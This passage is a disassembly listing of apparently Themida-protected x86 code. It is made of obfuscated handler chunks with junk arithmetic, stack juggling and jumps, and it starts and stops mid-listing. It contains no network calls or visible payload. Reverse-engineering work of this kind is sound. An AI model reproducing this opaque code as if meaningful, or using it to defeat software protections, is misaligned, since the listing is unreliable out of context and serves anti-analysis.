; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_5739E2 proc near ; DATA XREF: Themida_:0055FD7Co
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp+0], cl
pushf
jmp loc_55FF9F
sub_5739E2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_5739F1: ; CODE XREF: sub_568764-2583j
neg edx
or edx, 0F9530D2h
xor edx, 8213FD76h
sub ecx, 13105F79h
add ecx, edx
jmp loc_56DF16
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
loc_573A0C: ; CODE XREF: Themida_:00569A3Fj
push 23F0h
jmp loc_56D162
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_573A16: ; CODE XREF: sub_574656-93F2j
push 13E54E58h
pop ebx
push ebp
mov ebp, 0FFFFFFFFh
add ebx, ebp
pop ebp
push edi
mov edi, 1D1939A1h
and edi, 0E3C7B13h
jmp loc_568C19
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_573A36: ; CODE XREF: sub_56AB5E-282Fj
push ecx
mov ecx, 5DC17F73h
jmp loc_572BBF
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_573A41: ; CODE XREF: sub_56241E+3E09j
sub ax, 1E7Fh
sub dx, 5633h
jmp loc_57388A
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_573A4F: ; CODE XREF: sub_561027+117CDj
mov edi, 0F367C1C4h
xor ebp, edi
jmp loc_568256
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_573A5B: ; CODE XREF: sub_571890-7F99j
pop ecx
add ebx, 0FFFFFFFFh
add ebx, 0D3F299F8h
push ecx
mov ecx, 65A75270h
not ecx
jmp loc_57059C
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_573A72: ; CODE XREF: sub_571C93+35A2j
pop edi
add esp, 4
push ecx
jmp loc_570E14
; END OF FUNCTION CHUNK FOR sub_571C93
; =============== S U B R O U T I N E =======================================
sub_573A7F proc near ; DATA XREF: Themida_:0055FD3Co
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00563141 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C5C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E4EC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056FD4E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572B58 SIZE 00000006 BYTES
lodsd
sub eax, 36D715BAh
push 34DDh
jmp loc_563141
sub_573A7F endp
; =============== S U B R O U T I N E =======================================
sub_573A8F proc near ; DATA XREF: Themida_:0055FF14o
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056FB43 SIZE 00000005 BYTES
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp-4+arg_0], eax
pushf
jmp loc_56FB43
sub_573A8F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_573A9D: ; CODE XREF: sub_57549C-9073j
push ecx
mov ecx, 0DBE21A0h
jmp loc_571A95
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_573AA8: ; CODE XREF: sub_56E96D-2473j
pop edx
sub esi, 93358485h
xor esi, 3E15082Fh
mov eax, esi
pop esi
add ebp, eax
jmp loc_56C824
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_573ABF: ; CODE XREF: sub_57109F-6D66j
shl esi, 1
jmp loc_573E4B
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_573AC6: ; CODE XREF: sub_5666C3+226Aj
push 378Ch
mov [esp+0], ebp
push edx
mov edx, 4FCD155Ah
push ecx
mov ecx, 411266EEh
sub ecx, 33E708ECh
not ecx
xor ecx, 72603186h
xor ecx, 7813459Ch
shl ecx, 3
add ecx, 916A7D47h
or edx, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
push edi
mov edi, 54B81C25h
not edi
dec edi
xor edi, 8C48B483h
or edx, edi
pop edi
add edx, 0FFFDABD7h
mov ebp, edx
mov edx, [esp-8+arg_4]
add esp, 4
jmp loc_567026
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
loc_573B27: ; CODE XREF: Themida_:0056CB50j
push ebx
mov ebx, esp
jmp loc_56C0F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_573B2F: ; CODE XREF: sub_56616D+4AE5j
add esi, ebp
pop ebp
add edx, 32C634C1h
add edx, esi
sub edx, 32C634C1h
pop esi
sub esp, 4
jmp loc_56361A
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_573B49 proc near ; CODE XREF: sub_56FD38-F952j
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00564DA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005660E1 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056B984 SIZE 00000010 BYTES
push ebx
mov ebx, 4D3D4678h
jmp loc_5660E1
sub_573B49 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_573B54: ; CODE XREF: sub_571088-8EB9j
mov dword ptr [esp-4+arg_0], ebx
mov bl, 6
add bl, 0DDh
push dx
mov dl, bl
push ebx
mov bl, dl
not bl
push eax
push edx
jmp loc_56AB74
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
loc_573B6C: ; CODE XREF: Themida_:0056CDF9j
xor ebx, [esp]
jmp loc_56CE1F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5609A1
loc_573B74: ; CODE XREF: sub_5609A1+6j
sub edx, ebx
pop ebx
push ebx
jmp loc_5712E2
; END OF FUNCTION CHUNK FOR sub_5609A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_573B7D: ; CODE XREF: sub_560D31+2BFBj
mov dl, ah
pop eax
mov [edi+eax*4], dl
mov edx, [esp+0]
add esp, 4
push [esp-4+arg_0]
pop ebx
push ebx
sub esp, 4
mov [esp+4+var_4], esp
push ebx
mov ebx, 4
add [esp+8+var_4], ebx
pop ebx
jmp loc_5683DD
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_573BA7: ; CODE XREF: sub_5673C3+35D3j
mov eax, 602136B5h
xor eax, 25A105FBh
and eax, 1E286968h
shr eax, 8
neg eax
sub eax, 5757710Ah
sub eax, 0A8A48ED1h
add ebp, eax
push [esp+10h+var_10]
pop eax
add esp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
push ebp
jmp loc_56A4E2
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_573BDD: ; CODE XREF: sub_56102D+8B1Bj
pop esi
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_56BDB1
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_573BEC: ; CODE XREF: sub_560844+7B19j
mov ebx, [esp+0]
push esi
mov esi, esp
push 4824h
mov [esp+8+var_8], ecx
mov ecx, 11C613B6h
add ecx, 2C863032h
jmp loc_568A9B
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_573C0A: ; CODE XREF: sub_56A7FB+2j
mov bl, 75h
add al, 0FDh
jmp loc_564B9B
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_573C13: ; CODE XREF: sub_572DD7+15CBj
add dword ptr [esp+4], 63DB75D8h
jmp loc_5741C1
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_573C20: ; CODE XREF: sub_5620B7+4375j
sub esi, 34D0C3B2h
jmp loc_562017
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_573C2B: ; CODE XREF: sub_574CDD-13D98j
mov eax, [esp+4+var_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
add ebp, 4
push ebp
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
add ebp, 4
jmp loc_56DB9D
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_573C5E: ; CODE XREF: sub_56241E+839Ej
mov word ptr [esp+8+var_8], ax
mov ax, 24D1h
jmp loc_566202
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_573C6B: ; CODE XREF: sub_56E1B8+541Dj
mov esi, [esp+0]
add esp, 4
shl edx, 7
xor edx, 950E9204h
add eax, edx
jmp loc_570129
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
loc_573C84: ; CODE XREF: Themida_:00560E5Fj
push 16B7559Fh
pop ebx
sub ecx, ebx
pop ebx
mov eax, [ecx]
jmp loc_56F304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56208F
loc_573C94: ; CODE XREF: sub_56208F+9B66j
sar [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56208F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_573C9D: ; CODE XREF: sub_56628B+4675j
dec eax
jmp loc_564761
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_573CA3: ; CODE XREF: sub_563A7F+23B4j
and bh, 0A1h
push dx
push bx
jmp loc_56A84E
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_573CAF: ; CODE XREF: sub_56616D+193Bj
inc ebp
add ebp, 26D9155h
jmp loc_56E2A6
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_573CBB: ; CODE XREF: sub_5722C8-904Dj
mov [esp+0], ecx
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_573CC3: ; CODE XREF: sub_5678CB+3D10j
not ch
sub esp, 2
jmp loc_5681BD
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_573CCD: ; CODE XREF: sub_570732+43DEj
shl ecx, 8
xor ecx, 57AB6E85h
neg ecx
xor ecx, 8EEE7459h
add ebx, ecx
jmp loc_572315
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_573CE5: ; CODE XREF: sub_56B06D+25ADj
push edi
mov edi, 4
sub esi, edi
pop edi
xchg esi, [esp+18h+var_18]
pop esp
jmp loc_566E80
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_573CF7: ; CODE XREF: sub_564D26-E81j
mov edi, 5F664342h
push ebp
mov ebp, 77AE047Dh
jmp loc_56878A
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_573D07: ; CODE XREF: sub_56B11B+17j
add ecx, edx
jmp loc_56424E
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_573D0E: ; CODE XREF: sub_56616D+3428j
mov edx, 983B2021h
mov ecx, edx
mov edx, [esp-0Ch+arg_8]
add esp, 4
sub ecx, 7FF950FDh
jmp loc_5693C4
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_573D29: ; CODE XREF: sub_563FA2+9554j
neg eax
jmp loc_564532
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_573D30: ; CODE XREF: sub_565632+9CB9j
mov edx, 76CF2AD7h
shr edx, 3
inc edx
inc edx
add edx, 4B6A3C13h
mov ebp, edx
pop edx
sub ebp, 5A44216Bh
sub ebx, 502F1CDEh
sub ebx, 1D4275CDh
sub ebx, 499E6BF9h
jmp loc_56F26D
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_573D60: ; CODE XREF: sub_563BCC+4431j
mov [esp+8+var_8], edx
mov edx, 4
push ebx
jmp loc_566E6F
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_573D6E: ; CODE XREF: sub_568D9E+Fj
xchg ebp, [esp+0]
mov esp, [esp+0]
jmp loc_56A8C2
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_573D79: ; CODE XREF: sub_5680AC+CF80j
pop esp
jmp loc_56CA85
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_573D7F: ; CODE XREF: sub_56FCD7-A6Fj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_568F10
; END OF FUNCTION CHUNK FOR sub_56FCD7
; =============== S U B R O U T I N E =======================================
sub_573D90 proc near ; DATA XREF: Themida_:0055FE00o
pop dword ptr fs:[edx]
jmp loc_55FF9F
sub_573D90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_573D98: ; CODE XREF: sub_5753A5-1173Dj
push edi
push edx
mov edx, 760F5F03h
dec edx
sub edx, 6959FAC2h
mov edi, edx
pop edx
sub ebp, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
pop eax
push 2129h
mov [esp+8+var_8], ebp
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
jmp loc_56C1B9
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_573DCA: ; CODE XREF: sub_572D45-2ADCj
pop ebp
push esi
mov esi, 1
add eax, esi
pop esi
sub eax, 74627E22h
sub eax, 8CB08C4Eh
push eax
pop esi
mov eax, [esp+0Ch+var_C]
push ecx
jmp loc_566D9F
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_573DE9: ; CODE XREF: sub_573612-AE5Bj
add ebx, edx
sub ebx, 3E52660Dh
pop edx
jmp loc_574AB5
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_573DF7: ; CODE XREF: sub_569A84+83Aj
pop eax
or eax, ecx
pop ecx
add eax, 0FFFFFFFFh
and eax, 17D2398Ch
sub eax, 1
push ecx
push ebp
mov ebp, 4FD731CDh
mov ecx, 0C55FD508h
add ecx, ebp
pop ebp
add eax, ecx
jmp loc_563842
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_573E1E: ; CODE XREF: sub_56BD36+9j
push esp
pop eax
jmp loc_574F86
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ACDE
loc_573E25: ; CODE XREF: sub_56ACDE+D5Dj
xor edi, edx
add edi, 235D70C6h
sub edi, 3501E327h
sub ebp, 736729C1h
sub ebp, edi
add ebp, 736729C1h
pop edi
add edi, ebp
pop ebp
push edi
jmp loc_56C6EB
; END OF FUNCTION CHUNK FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_573E4B: ; CODE XREF: sub_57109F+2A22j
add esi, 720D00DEh
add ebp, esi
jmp loc_56B0D4
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_573E58: ; CODE XREF: sub_574F16-12A5Fj
pop esp
add al, dl
mov edx, [esp+4+var_6+2]
add esp, 4
jmp loc_574B9E
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_573E66: ; CODE XREF: sub_574656-55B8j
pop eax
or ebx, 77DC1E3Eh
xor ebx, 68804E2Dh
xchg ecx, ebx
not ecx
jmp loc_5649E5
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_573E7C: ; CODE XREF: sub_560CF1+20j
add esp, 4
and eax, edx
push [esp+4+var_4]
mov edx, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], eax
jmp loc_56FEF4
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_573E92: ; CODE XREF: sub_5673C3+3B16j
xor ebp, [esp-4+arg_0]
pop esp
add esp, 4
jmp loc_570135
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_573EA1: ; CODE XREF: sub_56A423+760Bj
push [esp+0Ch+var_C]
push [esp+10h+var_10]
pop ecx
jmp sub_56E1B8
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_573EAD: ; CODE XREF: sub_566117+1360j
pop esp
pop [esp+8+var_8]
jmp loc_5614B6
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_573EB6: ; CODE XREF: sub_5653AD+6408j
push eax
push ebp
mov ebp, 17621E44h
push edx
push edi
mov edi, 65C056D3h
jmp loc_565886
; ---------------------------------------------------------------------------
loc_573EC9: ; CODE XREF: sub_5653AD+6j
push edi
jmp loc_56040D
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_573ECF: ; CODE XREF: sub_5605BC+2142j
pop ebx
sub ebx, 0A265D2Ah
sub ebx, edx
add ebx, 0A265D2Ah
pop edx
jmp loc_56EF77
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_573EE4: ; CODE XREF: sub_5671E1-5A12j
sub edi, 4FE17422h
add edi, esi
add edi, 4FE17422h
sub edi, 2E0F2F9Eh
sub edi, 336541D9h
add edi, 2990437Bh
jmp loc_569772
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_573F09: ; CODE XREF: sub_570CE4-8FB8j
shl eax, 4
inc eax
push edx
mov edx, 29B729A5h
sub edx, 36C8262Fh
sub edx, 78C10218h
shl edx, 8
jmp loc_574FAE
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_573F27: ; CODE XREF: sub_5747FA-73FDj
mov ecx, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], edi
push ebp
mov ebp, 65491ECAh
add ebp, 466C57A3h
jmp loc_561D9D
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_573F4A: ; CODE XREF: sub_560EA2+108FCj
xor ebp, eax
pop eax
xor edx, ebp
pop ebp
jmp loc_572D66
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_573F55: ; CODE XREF: sub_572DD7-E4D7j
mov edi, ecx
pop ecx
add edi, 235300AAh
neg edi
not edi
shl edi, 5
jmp loc_56B4D2
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C474
loc_573F6A: ; CODE XREF: sub_56C474+14j
mov [esp+10h+var_10], edx
jmp loc_56A33E
; END OF FUNCTION CHUNK FOR sub_56C474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575328
loc_573F72: ; CODE XREF: sub_575328-CDCEj
pop ecx
push ecx
mov ecx, 3F392678h
sub eax, ecx
pop ecx
add eax, ebp
add eax, 3F392678h
pop ebp
jmp sub_56189F
; END OF FUNCTION CHUNK FOR sub_575328
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_573F89: ; CODE XREF: sub_56CC46+39ADj
sub ecx, 1
and ecx, 461008B8h
shl ecx, 1
dec ecx
jmp loc_563BE1
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_573F9D: ; CODE XREF: sub_560056+CA00j
push esi
push ebx
add [esp+8+var_8], 5E357C1Eh
jmp loc_560A03
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_573FAB: ; CODE XREF: sub_563819-472j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
jmp loc_56175C
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_573FC0: ; CODE XREF: sub_570CE4+1E1Bj
or eax, 38657DF0h
xor eax, 2C9C5071h
and eax, 57967D2h
jmp loc_56BDFF
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_573FD4: ; CODE XREF: sub_57549C-130A6j
xor edi, ebx
pop ebx
push edi
mov edi, 39F025F2h
inc edi
add edi, 188969BEh
neg edi
push edx
jmp loc_561C45
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_573FEC: ; CODE XREF: sub_560056+76E4j
add ebx, 4
add ebx, 4
xor ebx, [esp+10h+var_10]
jmp loc_572988
; END OF FUNCTION CHUNK FOR sub_560056
; =============== S U B R O U T I N E =======================================
sub_574000 proc near ; DATA XREF: Themida_:0055FD9Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560E7E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005650E2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056679B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A455 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FA07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056FB60 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00570360 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00571631 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571BD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572481 SIZE 0000003A BYTES
mov cx, [esp+0]
push eax
mov eax, esp
jmp loc_5650E2
sub_574000 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_57400C: ; CODE XREF: sub_574F16-E3AAj
sub byte ptr [esp+6+var_6], 0F9h
mov dl, byte ptr [esp+6+var_6]
add esp, 2
jmp loc_562498
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_57401B: ; CODE XREF: sub_56DAB2+7759j
add eax, ebp
sub eax, 29700582h
mov ebp, [esp+4+var_4]
sub esp, 4
jmp loc_567272
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57402D: ; CODE XREF: sub_561418+E8F2j
add esp, 4
push edi
jmp loc_57152D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_574039: ; CODE XREF: sub_560844+124F6j
pop esi
push ebp
mov ebp, 4AAC2E92h
sub esi, ebp
pop ebp
jmp loc_565425
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_574048: ; CODE XREF: sub_56D4B8-C1BDj
add esi, 4
add esi, 4
xchg esi, [esp-4+arg_0]
pop esp
push 32E2h
mov [esp-4+arg_0], esi
mov esi, 67395344h
jmp sub_561541
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
loc_57406A: ; CODE XREF: Themida_:0056DD2Fj
pop ecx
and ebp, 0B422E80h
sub ebp, 58743FBFh
push 0
add dword ptr [esp], 16887CAAh
jmp loc_574672
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_574088: ; CODE XREF: sub_5605BC+E9C7j
add edx, esi
mov esi, [esp+8+var_8]
add esp, 4
xchg edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
or eax, eax
jnz loc_562EEF
push 1
push [esp+8+var_8]
pop edx
jmp loc_5609EA
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_5740AC: ; CODE XREF: sub_56E05C-A716j
and edi, 7C5F44A9h
add edi, 2E470A77h
jmp loc_565271
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_5740BD: ; CODE XREF: sub_5753A5-12C4Cj
and esi, ebp
pop ebp
add esi, 42D95927h
shr esi, 3
sub esi, 0F712B87Fh
shr esi, 5
dec esi
dec esi
push 1401h
mov [esp+10h+var_10], edx
mov edx, 2C1F6041h
and edx, 2EA31F3Ah
add edx, 0E1CDF240h
jmp loc_56A207
; END OF FUNCTION CHUNK FOR sub_5753A5
; =============== S U B R O U T I N E =======================================
sub_5740F2 proc near ; DATA XREF: Themida_:0055FF54o
pop small word ptr [edx]
jmp loc_55FF9F
sub_5740F2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5740FA: ; CODE XREF: Themida_:005636A8j
pop ebp
push 296h
mov [esp], ecx
mov ecx, 5DBD2155h
sub ecx, 770FABFh
jmp loc_57184C
; ---------------------------------------------------------------------------
loc_574113: ; DATA XREF: Themida_:0055FCC4o
mov ax, [esp]
push 5CDh
mov [esp], ecx
push esp
push dword ptr [esp]
jmp loc_56A1A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_574128: ; CODE XREF: sub_5653AD-3987j
add ebx, eax
jmp loc_56BDD8
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_57412F: ; CODE XREF: sub_561541+5B1Fj
not esi
xor esi, 252D30A7h
sub esi, 0D30D8743h
jmp loc_567147
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575328
loc_574142: ; CODE XREF: sub_575328+23j
inc ebp
inc ebp
push ebp
not [esp+10h+var_10]
pop ebp
shl ebp, 7
add ebp, 16646969h
jmp loc_565194
; END OF FUNCTION CHUNK FOR sub_575328
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_574157: ; CODE XREF: sub_57354D-880Dj
sub ecx, 3070C27h
mov ebp, ecx
pop ecx
shr ebp, 3
push edi
mov edi, 77DB7115h
xor edi, 38FC116Fh
sub ebp, edi
mov edi, [esp+10h+var_10]
add esp, 4
push ebx
mov ebx, 0C037E8FFh
jmp loc_5726EB
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_574185: ; CODE XREF: sub_569193+5788j
add ecx, 347B100Dh
add ecx, edi
sub ecx, 347B100Dh
mov edi, [esp+10h+var_10]
add esp, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
push eax
mov eax, esp
add eax, 4
add eax, 4
